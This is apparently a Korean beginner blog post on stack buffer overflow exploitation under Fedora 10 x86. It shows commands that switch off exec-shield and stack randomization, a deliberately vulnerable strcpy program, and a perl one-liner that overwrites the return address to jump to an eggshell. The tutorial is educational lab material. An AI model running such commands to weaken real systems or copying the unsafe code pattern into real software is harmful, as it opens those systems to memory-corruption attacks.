많은 공개된 문서는 최신 배포판 환경에서 테스트된 것이 거의 없다.

심지어 모두 x86 환경이다.
64bit 환경에서 다루어진 문서도 별로 없다.

그래서 09년 01월 현재 최신 배포판인 fedora10(x86) 에서 다뤄보도록 하겠다.
64bit 를 연구해봤으나 실력이 부족한 관계로 누군가에게 pass 하도록 하겠다.


사실, fc4 와 fc10 은 별 차이가 없다.

fc4 부터 random stack 과 exec-shield 가 적용되어 있다.

gcc 2.96 이전버전과 fc10 에서 사용되고 있는 gcc 4.3.2 의 스택은 상당한 차이를 보이고 있다.

여기에서는 일단 본인부터 실력이 초보이므로, random stack 과 exec-shield 환경이 아닌 것에서부터 출발할것이고,

다만, gcc 4.3.2 와 gcc 2.96 이전버전 을 모두 다뤄보도록 할 것이다.

gcc 4.3.2 버전에서 2.96 이전버전으로 컴파일하는 방법은 -mpreferred-stack-boundary=2 라는 옵션으로 컴파일하면 된다.

그리고 exec-shiled 와 random stack off 방법은

[root@localhost]# sysctl -w kernel.exe-shield=0
[root@localhost]# sysctl -w kernel.randomize_va_space=0

이란 명령을 내려주면 된다.

이런 환경에서
vul.c
-------------------------------------------
#include <string.h>
int main(int argc, char **argv)
{
char buf[4];
strcpy(buf,argv[1]);
return 0;
}

이란 소스코드를
[waintman@localhost]$ gcc vul.c -o vul -mpreferred-stack-boundary=2

위와 같이 컴파일하면 일반적인 상황에서의 buffer overflow 공격이 가능해진다.
eggshell 이 띄워진 상황에서

[waintman@localhost]$ ./vul `perl -e 'print "\x04\xf4\xff\xbf"x3'`

일단 맛보기이므로 자세한 설명은 다음에 하도록 한다.

[waintman@localhost oldgcc]$ uname -na
Linux localhost.localdomain 2.6.27.5-117.fc10.i686 #1 SMP Tue Nov 18 12:19:59 EST 2008 i686 athlon i386 GNU/Linux



+ Recent posts